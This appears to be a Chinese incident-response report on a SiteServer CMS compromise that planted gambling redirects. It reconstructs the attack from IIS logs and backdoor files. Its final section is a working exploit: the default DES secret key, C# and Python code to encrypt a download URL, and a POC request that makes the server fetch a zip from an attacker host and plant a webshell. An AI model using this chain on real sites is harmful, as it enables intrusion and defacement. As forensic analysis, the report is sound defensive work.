内容简介:一天管理员发现站点管理员提供基本信息如下:百度快照中依旧存在博彩相关快照,但是在服务器已经被维护人员清理已经无法访问。
事件背景
一天管理员发现站点 www.xxxx.xx.cn存在黑链跳转, 管理员立即对服务器中的黑链进行清理,并且镜像了服务器环境,我们登录镜像服务器进行对攻击路径排查分析。
管理员提供基本信息如下:
百度快照中依旧存在博彩相关快照,但是在服务器已经被维护人员清理已经无法访问。
基本排查与信息获取
能否分析出攻击的真实攻击路径,取决于对服务器中恶意文件的查杀结果,因此先使用D盾对服务器中恶意文件进行查杀,最终的查杀结果如下:
我们将其按照文件修改时间排序,对服务器中的后门文件进行分析。
最早的后门文件为aspdm.txt,修改时间为2018年10月4日13:14:30,到文件夹中找到相关文件,可以发现同一个目录下存在aspdm.txt文件和另外一个include.aspx文件。include.aspx的修改时间同样为2018年10月4日13:14:30。
查看文件内容可知,include.aspx利用文件包含功能,包含了一个aspdm.txt文件
查看文件属性,发现文件的创建时间,修改时间一致,很明显,证明该文件是黑客新创建的,没有遭到改动。
查看aspdm.txt文件,可以发现此文件为webshell后门,通过文件包含,将txt文件作为aspx文件执行。
分析.html文件和1.html文件,可以发现这两个文件相同,都是ASPXSpy后门,时间均为2018年6月17日21点10分左右。
时间点再往前,就是模板目录下的SiteServer.aspx文件,被D盾标记为已经后门,修改时间为2017年8月14日10:04:25。
查看SiteServer.aspx文件,可知该文件主要功能为,如果user-agent来自sougou、haosou、so、baidu,则将其劫持到博彩站点,并将博彩站点返回给用户。
Virustotal查询博彩站点xin888.qilv.cc,黑客在9月12日将网站ip地址解析到58.82.251.37。
微步中58.82.251.37情报的标记如下:
查看web.config配置文件,发现同样被篡改,404错误,会跳转到Siteserver.aspx
其他文件为D盾误判,这里不再进行分析,由于客户IIS日志不全,因此跟客户沟通,这里我们只对10月4日的发生的黑链事件做攻击路径做溯源。
攻击者ip定位与访问行为分析
筛选日志,排查访问过后门/SiteFiles/SiteTemplates/txt2/include.aspx的ip地址,发现如下IP地址访问过include.aspx文件。
cat u_ex1810.log.D06 |awk ‘{print $9,$5}’|grep /SiteFiles/SiteTemplates/txt2/include.aspx |sort -u
IP地址:
113.103.119.64
113.103.121.185
113.103.122.95
113.110.47.161
113.117.65.33
113.117.66.121
113.117.66.133
119.180.192.175
119.180.199.28
119.186.242.62
125.72.250.205
175.2.149.86
1.82.152.151
182.34.101.251
222.172.139.130
对这些ip地址整体操作行为进行分析,可以发现部分ip地址不停的访问后门文件进行POST操作。
随机选取几个ip地址分析其访问行为,119.186.242.62和113.117.66.133为例,该ip访问过后门之后,直接进行了大量的POST后门操作,未发现其他行为。
119.186.242.62为例,该ip访问过后门之后,直接进行了大量的POST后门操作,也未发现其他明显的漏洞探测行为。
筛选访问aspdm.txt文件的IP
cat u_ex1810.log.D06 |awk ‘{print $9,$5}’|grep aspdm.txt |sort -u
发现剩下112.239.5.217和119.180.192.175两个ip地址访问过aspdm.txt文件。
112.239.5.217 /SiteFiles/SiteTemplates/test/aspdm.txt
112.239.5.217 /SiteFiles/SiteTemplates/test/sitefiles/aspdm.txt
119.180.192.175 /SiteFiles/SiteTemplates/txt2/aspdm.txt
进一步分析访问过/SiteFiles/SiteTemplates/txt2/目录下aspdm.txt文件的IP,仅剩下ip地址119.180.192.175。由此可以推断,攻击者主要是通过ip地址119.180.192.175完成攻击完成获取服务器权限的过程。
root@kali2:~# cat u_ex1810.log.D06 |awk ‘{print $9,$5}’|grep /SiteFiles/SiteTemplates/txt2/aspdm.txt |sort -u
119.180.192.175 /SiteFiles/SiteTemplates/txt2/aspdm.txt
综上所述,我们可以推测,攻击者主要是通过112.239.5.217和119.180.192.175完成服务器入侵,通过其他的ip地址,进行后门操作,完成黑链的植入。
攻击过程析
漏洞扫描
根据攻击日志,分析异常请求,发现部分HEAD请求,探测页面是否存在。
取案发前的日志进行分析,探测扫描器行为,未发现明显的扫描器特征。
grep -E -i “AppScan|CustomCookie|netsparker|sqlmap|Havij|PaDDDngolin|nessus|Openvas|whatWEB|w3af|DirBuster|WEBbench” u_ex1810.log.D06
分析返回包为404的日志,发现大部分为网络爬虫造成。
因此,基本可以推测,黑客并非通过漏扫的方式,发现网站漏洞,再去做进一步利用,可能原因如下:
一、之前黑客进行过漏洞扫描,但是由于日志确实,导致无法发现具体的扫描行为;
二、黑客通过自己掌握的网站漏洞,直接进行攻击,无需扫描这一步。
漏洞发现
分析112.239.5.217和119.180.192.175两个ip地址的访问时间可以发现112.239.5.217的操作时间集中在2018-10-04 04:52:56到2018-10-04 05:08:00这里需要注意的是由于IIS 记录日志的时差问题,日志中的访问时间需要加上8小时才是正确的北京时间。即112.239.5.217的实际操作时间集中在2018-10-04 12:52:56到2018-10-04 13:08:00。
119.180.192.175的操作时间集中在2018-10-04 05:07:53到2018-10-04 05:15:51即IP地址119.180.192.175真实的访问时间为2018-10-04 13:07:53到2018-10-04 13:15:51之间。
由此可见,2个IP地址的访问时间比较衔接,证明黑客是112.239.5.217进行入侵,接着更换IP地址为119.180.192.175再进行入侵,理清了时间节点,我们来分析漏洞的具体发现过程。
2018-10-04 04:52:56到2018-10-04 04:55:42为止,攻击者频繁访问
/signalr/send transport=serverSentEvents&clientProtocol=1.5&connectionToken=wMRGrRg3FSXc5jf5fcGNSZdB%2FVHxyXc2psgSgqsil3xyUdyOngO%2BY9XNSboSwcV69uomh01YarpTcd7MQw4rx2Dht7vfRFS0%2FbJVYZ%2F4grxTvSoVjUbVsAOn89FV24u9&connectionData=%5B%7B%22name%22%3A%22createhub%22%7D%5D
该链接的主要功能是生成新的页面,根据日志分析,攻击者并未在该请求上发现可利用的漏洞。
2018-10-04 04:55:43攻击者访问ajaxOtherService.aspx,尝试去下载模板,并创建一个名为test的文件夹,此时攻击者发现网站存在越权下载模板的漏洞,并开始尝试对漏洞进行试探性利用。
GET /zlinfo/Ajax/ajaxOtherService.aspx type=SiteTemplateDownload&%20userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0bpXb04Yf5yp&directoryName=test
漏洞利用
2018-10-04 04:56:01攻击者进行漏洞攻击尝试之后,连续2次访问后门/SiteFiles/SiteTemplates/test/sitefiles/include.aspx但是被重定向到错误页面error.aspx。
/zlinfo/error.aspx ErrorMessage=%e6%96%87%e4%bb%b6%e2%80%9c/SiteFiles/SiteTemplates/test/sitefiles/include.aspx%e2%80%9d%e4%b8%8d%e5%ad%98%e5%9c%a8%e3%80%82解码后为:/zlinfo/error.aspx ErrorMessage=文件“/SiteFiles/SiteTemplates/test/sitefiles/include.aspx”不存在。
本次攻击过程中黑客漏洞利用失败。
2018-10-04 04:56:36黑客访问List_AddInfo.asp、List_Vistor.asp、List_Adduser.asp,服务器均返回200。
本地测试发现此处同样未做权限控制,攻击者可以直接访问,攻击者可以借此获取部分敏感信息。
接下来的攻击者反复进行ajaxOtherService.aspx越权漏洞去尝试去下载模板,但是均以失败告终。
攻击者试图aspdm.txt后门失败,2018-10-04 05:08:00攻击者放弃使用该IP地址进行进一步入侵,切换攻击IP地址为119.180.192.175。
2018-10-04 05:07:53攻击者切换IP地址为119.180.192.175之后,先访问了一次/SiteFiles/SiteTemplates/test/txt1/2.txt,但是访问失败,2.txt文件依旧不存在。
利用成功
2018-10-04 05:08:39攻击者119.180.192.175再次通过ajaxOtherService.aspx模板下载功能下载后门,并创建一个txt1的文件夹用于存放后门。
2018-10-04 05:12:12,黑客访问2.txt返回200,表明文件创建成功。
最终2018-10-04 05:14:30 (注意,由于IIS日志和北京时间的时差为8小时此处真实的漏洞利用成功时间为2018-10-04 13:14:30) 攻击者119.180.192.175再次通过ajaxOtherService.aspx模板下载功能下载后门,并创建一个txt2的文件夹用于存放后门,日志如下:
2018-10-04 05:14:30 29.11.8.132 GET /zlinfo/Ajax/ajaxOtherService.aspx type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0&directoryName=txt2 80 – 119.180.192.175 Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/63.0.3239.132+Safari/537.36 – 200 0 0 562
2018-10-04 05:14:37攻击者访问aspdm.txt,服务器返回200,文件创建成功。日志如下:
2018-10-04 05:14:37 29.11.8.132 GET /SiteFiles/SiteTemplates/txt2/aspdm.txt – 80 – 119.180.192.175 Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/63.0.3239.132+Safari/537.36 – 200 0 0 593
查询ip地址119.180.192.175,已经被威胁情报标记为恶意。
执行命令
去服务器查看,发现果然之前删除的webshell又被植入,证明黑客确实利用该url下载模板,植入webshell。
服务器downloadUrl的地址为ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0由于URL地址进行了加密,接下来我们通过 工具 来捕获恶意的URL地址。
文件下载
通过process monitor监控分析,我们查看到在访问 http://www.xxxx.xx.cn/zlinfo/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0&directoryName=txt2 后,网站会访问zp.iceclient.com访问并写入txt2.zip文件到服务器上。
通过域名访问该网站,发现会被直接重定向到链接重置,说明攻击者对其做了限制,继续使用科来抓包工具进行抓包,发现该域名对应的IP为107.151.94.210,服务器访问恶意站点的路径为/mmmmm/sitefile5asp-1.zip
通过数据返回包信息,也证明了该文件确实是本次植入的include.aspx文件。
植入后门
通过与服务器中的aspdm.txt和include.aspx文件的创建时间和修改时间2018年10月4日13:14:30对比,发现日志记录的时间与服务器中后门文件的生成时间是一致的,13:14:30攻击者完成攻击,同时后门文件生成,文件的生成时间同时也佐证了攻击者确实是通过ajaxOtherService.aspx的模板下载功能,将后门植入服务器。
植入黑链
黑客完成后门植入之后,连接webshell后门,进行大量POST操作,篡改网站,植入博彩链接。
漏洞原理
0X01 SiteServer远程文件下载导致getshell
通过日志审查,以及客户主机抓包复现得知siteserver之所以被上传shell,是通过远程下载模板文件导致的,通过源代码分析利用过程。
源码地址:https://github.com/siteserver/cms
漏洞位置:后台模板下载位置未对用户权限进行校验,且 ajaxOtherService中的downloadUrl参数可控,导致getshell。
构造与下面类似的链接即可获取webshell:
http://xxx.xxxxx.xxx/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0&directoryName=txt2
0x02 漏洞分析:
可以看到利用的是ajaxOtherService.cs中的SiteTemplateDownload功能模块,使用notepad++搜索到该功能模块如下。
发现在ajaxOtherService.cs文件中确实存在函数调用接口
SiteTemplateDownload(string downloadUrl, string directoryName, string userKeyPrefix)
其中downloadUrl就是远程文件的URL地址,directoryName是下载到本地之后命名的模板目录,userKeyPrefix是加密的密钥,继续审核此文件,整理出整个函数调用流程如下,首先在AjaxOtherService.cs文件中使用Page_Load函数负责加载整个页面,然后通过request[‘type’]获取到不同的操作类型,如果获取到的type为TypeSiteTemplateDownload ,就会执行其request参数值的相关功能,其中最重要的一步操作就是此时先调用了DecryptStringBySecretKey函数将downloadurl先进行了解密,之后调用SiteTemplateDownload函数进行模板下载并自解压。
在AjaxOtherService类中通过常量中已经定义了TypeSiteTemplateDownload = “SiteTemplateDownload”;
因此当type等于SiteTemplateDownload时就会调用SiteTemplateDownload函数,逻辑非常的清楚,接下来分析downloadurl到底是怎么解密的,这也是本次审计的重点,毕竟其他逻辑非常清楚了,通过调用TranslateUtils.DecryptStringBySecretKey函数进行解密,通常开发习惯就是类名与文件名基本保持一致,因此很容易找到该文件。
通过分析源代码可知,这里将DecryptStringBySecretKey函数进行重载,在调用DecryptStringBySecretKey(string inputString)时候,实际上调用的是下面带secretKey的同名函数DecryptStringBySecretKey(string inputString, string secretKey),分析该函数其中secretKey是取自WebConfigUtils.SecretKey的值,通过审计WebConfigUtils.cs文件可知,该值是从配置文档web.config中取得对应字段值。
SecretKey的值可以在web.config文件中找到。
解密函数DecryptStringBySecretKey(string inputString, string secretKey)中secretKey的参数值同样为WebConfigUtils.SecretKey的值,继续分析该函数,可以看到先进行了混淆字符,将字符“+=&?’/”替换成DES加密后的密文。
这里使用 python 脚本去除混淆,恢复原DES密文。
程序去除混淆之后调用DES模块并实例化encryptor对象调用DesDecrypt解密函数,在实例化对象时将inputString和secreKey传入。
首先使用菜鸟教程http://www.runoob.com/调试核心加解密代码,传入参数_encryptKey和_inputString。
加密代码调试如下_inputString传入任意黑客构造的地址
http://127.0.0.1:99/txt2.zip,_encryptKey传入默认密钥vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5。
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace EncryptApplication
{
class Encrypt
{
static void Main(string[] args)
{
var _encryptKey = “vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5”;
var _decryptKey = “vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5”;
var _inputString = “http://127.0.0.1:99/txt2.zip”;
var _outString = “”;
var _noteMessage = “”;
byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
try{
var byKey = Encoding.UTF8.GetBytes(_encryptKey.Length > 8 ? _encryptKey.Substring(0, 8) : _encryptKey);
var des = new DESCryptoServiceProvider();
var inputByteArray = Encoding.UTF8.GetBytes(_inputString);
var ms = new MemoryStream();
var cs = new CryptoStream(ms, des.CreateEncryptor(byKey, iv), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
_outString = Convert.ToBase64String(ms.ToArray());
Console.WriteLine(“DesEncrypt:”);
Console.WriteLine(_outString);
}
catch (Exception error)
{
_noteMessage = error.Message;
}
}
}
}
执行之后获取其加密downloadurl如下:
ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=
混淆py代码
# -*- coding: UTF-8 -*-
str_decry = “ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=”
str_decry = str_decry.replace(“+”, “0add0”).replace(“=”, “0equals0”).replace(“&”, “0and0”).replace(“?”, “0question0”).replace(“‘”, “0quote0”).replace(“/”, “0slash0”)
print str_decry
混淆之后的downloadurl为:
ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals00secret0
解密的步骤与加密相反,首先将混淆后的下载地址去除混淆。
去混淆py代码
# -*- coding: UTF-8 -*-
decryptKey =’ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0′
decryptKey =decryptKey .replace(“0add0”, “+”).replace(“0equals0”, “=”).replace(“0and0”, “&”).replace(“0question0”, “?”).replace(“0quote0”, “‘”).replace(“0slash0”, “/”)
print decryptKey
去混淆后密文如下:
ZjYIub/YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H/QGZ4+ZW0iiVbi/MDytVnpZKliDw=
解密函数调试如下,传入_inputString和密钥。
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace DecryptApplication
{
class Decrypt
{
static void Main(string[] args)
{
var _encryptKey = “vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5”;
var _decryptKey = “vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5”;
var _inputString = “ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=”;
var _outString = “”;
var _noteMessage = “”;
byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
try
{
var byKey = Encoding.UTF8.GetBytes(_decryptKey.Substring(0, 8));
var des = new DESCryptoServiceProvider();
var inputByteArray = Convert.FromBase64String(_inputString);
var ms = new MemoryStream();
var cs = new CryptoStream(ms, des.CreateDecryptor(byKey, iv), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
Encoding encoding = new UTF8Encoding();
_outString = encoding.GetString(ms.ToArray());
Console.WriteLine(“DesDecrypt:”);
Console.WriteLine(_outString);
}
catch (Exception error)
{
_noteMessage = error.Message;
}
}
}
}
其中secretKey其实用户可以修改,并不一定是唯一的,因此受到一定的限制,但是一旦获取到secretKey值就可以构造远程文件下载,获取webshell。
0x03 漏洞复现
下载siteserver5.0安装包,并安装。
下载地址:http://cms.siteserver.cn/download.html
假设downloadurl地址为(实际利用是黑客的公网IP地址):
http://192.168.231.134/txt2.zip
安装后的secretKey默认为:
vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5
对恶意下载地址 http://192.168.231.134/txt2.zip 进行DES加密
加密后的downloadurl:ZjYIub/YxA0VVYDzNHVwtJBqP+pqvMBBTvHbMUpS0M8=
混淆后传入参数中的downloadurl为:
ZjYIub0slash0YxA0VVYDzNHVwtJBqP0add0pqvMBBTvHbMUpS0M80equals0
可以构造如下的POC实现远程文件下载,获取webshell
http://192.168.231.135:99/SiteServer/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA0VVYDzNHVwtJBqP0add0pqvMBBTvHbMUpS0M80equals0&directoryName=txt2
访问webshell地址http://192.168.231.135:99/SiteFiles/SiteTemplates/txt2/include.aspx,可以成功访问。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 【事件分析】SYN Flood攻击
- 捕获一起恶意入侵事件的攻击溯源
- 2018年全球十大APT攻击事件盘点
- 近期中文钓鱼邮件攻击事件分析报告
- LogonTracer:可视化事件日志识别被攻击账户
- 国内企业遭遇勒索软件攻击事件及相关样本分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。